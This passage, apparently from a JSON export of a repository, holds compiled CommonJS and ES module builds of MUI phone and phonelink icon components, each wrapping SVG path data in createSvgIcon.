    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.54 5h-1.5c.09 1.32.34 2.58.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58m8.66 13.21c1.21.41 2.48.67 3.8.76v-1.5c-.88-.07-1.75-.22-2.6-.45z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM15 3h2v7h-2zm4 0h2v7h-2z\"\n}, \"1\")], 'PhonePausedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonePausedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.54 5h-1.5c.09 1.32.34 2.58.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58m8.66 13.21c1.21.41 2.48.67 3.8.76v-1.5c-.88-.07-1.75-.22-2.6-.45z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM15 3h2v7h-2zm4 0h2v7h-2z\"\n}, \"1\")], 'PhonePausedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.23 15.26-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98\"\n}), 'PhoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.23 15.26-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98\"\n}), 'PhoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 15.46-5.27-.61-2.52 2.52c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97z\"\n}), 'PhoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 15.46-5.27-.61-2.52 2.52c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97z\"\n}), 'PhoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 17.47c-.88-.07-1.75-.22-2.6-.45l-1.19 1.19c1.2.41 2.48.67 3.8.75v-1.49zM5.03 5c.09 1.32.35 2.59.75 3.8l1.2-1.2c-.23-.84-.38-1.71-.44-2.6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.07 7.57C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02m7.33 9.45c.85.24 1.72.39 2.6.45v1.49c-1.32-.09-2.59-.35-3.8-.75zM5.79 8.8c-.41-1.21-.67-2.48-.76-3.8h1.5c.07.89.22 1.76.46 2.59z\"\n}, \"1\")], 'PhoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 17.47c-.88-.07-1.75-.22-2.6-.45l-1.19 1.19c1.2.41 2.48.67 3.8.75v-1.49zM5.03 5c.09 1.32.35 2.59.75 3.8l1.2-1.2c-.23-.84-.38-1.71-.44-2.6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.07 7.57C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02m7.33 9.45c.85.24 1.72.39 2.6.45v1.49c-1.32-.09-2.59-.35-3.8-.75zM5.79 8.8c-.41-1.21-.67-2.48-.76-3.8h1.5c.07.89.22 1.76.46 2.59z\"\n}, \"1\")], 'PhoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Phonelink.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h18V4H4c-1.1 0-2 .9-2 2v11H0v3h14v-3H4zm19 2h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 9h-4v-7h4z\"\n}), 'Phonelink');"
  },
  {
    "path": "packages/mui-icons-material/lib/Phonelink.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h18V4H4c-1.1 0-2 .9-2 2v11H0v3h14v-3H4zm19 2h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 9h-4v-7h4z\"\n}), 'Phonelink');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkErase.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 8.2-1-1-4 4-4-4-1 1 4 4-4 4 1 1 4-4 4 4 1-1-4-4zM19 1H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2\"\n}), 'PhonelinkErase');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkErase.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 8.2-1-1-4 4-4-4-1 1 4 4-4 4 1 1 4-4 4 4 1-1-4-4zM19 1H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2\"\n}), 'PhonelinkErase');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkEraseOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 8.2-1-1-4 4-4-4-1 1 4 4-4 4 1 1 4-4 4 4 1-1-4-4zM19 1H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2\"\n}), 'PhonelinkEraseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkEraseOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 8.2-1-1-4 4-4-4-1 1 4 4-4 4 1 1 4-4 4 4 1-1-4-4zM19 1H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2\"\n}), 'PhonelinkEraseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkEraseRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 7.7c-.28-.28-.72-.28-1 0L8 11.2 4.5 7.7c-.28-.28-.72-.28-1 0s-.28.72 0 1L7 12.2l-3.5 3.5c-.28.28-.28.72 0 1s.72.28 1 0L8 13.2l3.5 3.5c.28.28.72.28 1 0s.28-.72 0-1L9 12.2l3.5-3.5c.28-.28.28-.72 0-1M19 1H9c-1.1 0-2 .9-2 2v2c0 .55.45 1 1 1s1-.45 1-1V4h10v16H9v-1c0-.55-.45-1-1-1s-1 .45-1 1v2c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2\"\n}), 'PhonelinkEraseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkEraseRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 7.7c-.28-.28-.72-.28-1 0L8 11.2 4.5 7.7c-.28-.28-.72-.28-1 0s-.28.72 0 1L7 12.2l-3.5 3.5c-.28.28-.28.72 0 1s.72.28 1 0L8 13.2l3.5 3.5c.28.28.72.28 1 0s.28-.72 0-1L9 12.2l3.5-3.5c.28-.28.28-.72 0-1M19 1H9c-1.1 0-2 .9-2 2v2c0 .55.45 1 1 1s1-.45 1-1V4h10v16H9v-1c0-.55-.45-1-1-1s-1 .45-1 1v2c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2\"\n}), 'PhonelinkEraseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkEraseSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 8.2-1-1-4 4-4-4-1 1 4 4-4 4 1 1 4-4 4 4 1-1-4-4zM21 1H7v5h2V4h10v16H9v-2H7v5h14z\"\n}), 'PhonelinkEraseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkEraseSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 8.2-1-1-4 4-4-4-1 1 4 4-4 4 1 1 4-4 4 4 1-1-4-4zM21 1H7v5h2V4h10v16H9v-2H7v5h14z\"\n}), 'PhonelinkEraseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkEraseTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 17.2 4-4 4 4 1-1-4-4 4-4-1-1-4 4-4-4-1 1 4 4-4 4zM9 23h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2\"\n}), 'PhonelinkEraseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkEraseTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 17.2 4-4 4 4 1-1-4-4 4-4-1-1-4 4-4-4-1 1 4 4-4 4zM9 23h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2\"\n}), 'PhonelinkEraseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkLock.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-8.2 10V9.5C10.8 8.1 9.4 7 8 7S5.2 8.1 5.2 9.5V11c-.6 0-1.2.6-1.2 1.2v3.5c0 .7.6 1.3 1.2 1.3h5.5c.7 0 1.3-.6 1.3-1.2v-3.5c0-.7-.6-1.3-1.2-1.3m-1.3 0h-3V9.5c0-.8.7-1.3 1.5-1.3s1.5.5 1.5 1.3z\"\n}), 'PhonelinkLock');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkLock.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-8.2 10V9.5C10.8 8.1 9.4 7 8 7S5.2 8.1 5.2 9.5V11c-.6 0-1.2.6-1.2 1.2v3.5c0 .7.6 1.3 1.2 1.3h5.5c.7 0 1.3-.6 1.3-1.2v-3.5c0-.7-.6-1.3-1.2-1.3m-1.3 0h-3V9.5c0-.8.7-1.3 1.5-1.3s1.5.5 1.5 1.3z\"\n}), 'PhonelinkLock');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkLockOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-8.2 10V9.5C10.8 8.1 9.4 7 8 7S5.2 8.1 5.2 9.5V11c-.6 0-1.2.6-1.2 1.2v3.5c0 .7.6 1.3 1.2 1.3h5.5c.7 0 1.3-.6 1.3-1.2v-3.5c0-.7-.6-1.3-1.2-1.3m-1.3 0h-3V9.5c0-.8.7-1.3 1.5-1.3s1.5.5 1.5 1.3z\"\n}), 'PhonelinkLockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkLockOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-8.2 10V9.5C10.8 8.1 9.4 7 8 7S5.2 8.1 5.2 9.5V11c-.6 0-1.2.6-1.2 1.2v3.5c0 .7.6 1.3 1.2 1.3h5.5c.7 0 1.3-.6 1.3-1.2v-3.5c0-.7-.6-1.3-1.2-1.3m-1.3 0h-3V9.5c0-.8.7-1.3 1.5-1.3s1.5.5 1.5 1.3z\"\n}), 'PhonelinkLockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkLockRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2L7 1.01C5.9 1.01 5 1.9 5 3v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 11v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\")], 'PhonelinkLockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkLockRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2L7 1.01C5.9 1.01 5 1.9 5 3v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 11v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\")], 'PhonelinkLockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkLockSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H7v5h2V4h10v16H9v-2H7v5h14zM10.8 11V9.5C10.8 8.1 9.4 7 8 7S5.2 8.1 5.2 9.5V11H4v6h8v-6zm-1.3 0h-3V9.5c0-.8.7-1.3 1.5-1.3s1.5.5 1.5 1.3z\"\n}), 'PhonelinkLockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkLockSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H7v5h2V4h10v16H9v-2H7v5h14zM10.8 11V9.5C10.8 8.1 9.4 7 8 7S5.2 8.1 5.2 9.5V11H4v6h8v-6zm-1.3 0h-3V9.5c0-.8.7-1.3 1.5-1.3s1.5.5 1.5 1.3z\"\n}), 'PhonelinkLockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkLockTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 7C6.6 7 5.2 8.1 5.2 9.5V11c-.6 0-1.2.6-1.2 1.2v3.5c0 .7.6 1.3 1.2 1.3h5.5c.7 0 1.3-.6 1.3-1.2v-3.5c0-.7-.6-1.3-1.2-1.3V9.5C10.8 8.1 9.4 7 8 7m1.5 4h-3V9.5c0-.8.7-1.3 1.5-1.3s1.5.5 1.5 1.3zM21 21V3c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2\"\n}), 'PhonelinkLockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkLockTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 7C6.6 7 5.2 8.1 5.2 9.5V11c-.6 0-1.2.6-1.2 1.2v3.5c0 .7.6 1.3 1.2 1.3h5.5c.7 0 1.3-.6 1.3-1.2v-3.5c0-.7-.6-1.3-1.2-1.3V9.5C10.8 8.1 9.4 7 8 7m1.5 4h-3V9.5c0-.8.7-1.3 1.5-1.3s1.5.5 1.5 1.3zM21 21V3c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2\"\n}), 'PhonelinkLockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6V4H6.82l2 2zM1.92 1.65.65 2.92l1.82 1.82C2.18 5.08 2 5.52 2 6v11H0v3h17.73l2.35 2.35 1.27-1.27L3.89 3.62zM4 6.27 14.73 17H4zM23 8h-6c-.55 0-1 .45-1 1v4.18l2 2V10h4v7h-2.18l3 3H23c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1\"\n}), 'PhonelinkOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6V4H6.82l2 2zM1.92 1.65.65 2.92l1.82 1.82C2.18 5.08 2 5.52 2 6v11H0v3h17.73l2.35 2.35 1.27-1.27L3.89 3.62zM4 6.27 14.73 17H4zM23 8h-6c-.55 0-1 .45-1 1v4.18l2 2V10h4v7h-2.18l3 3H23c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1\"\n}), 'PhonelinkOff');"
  },
  {
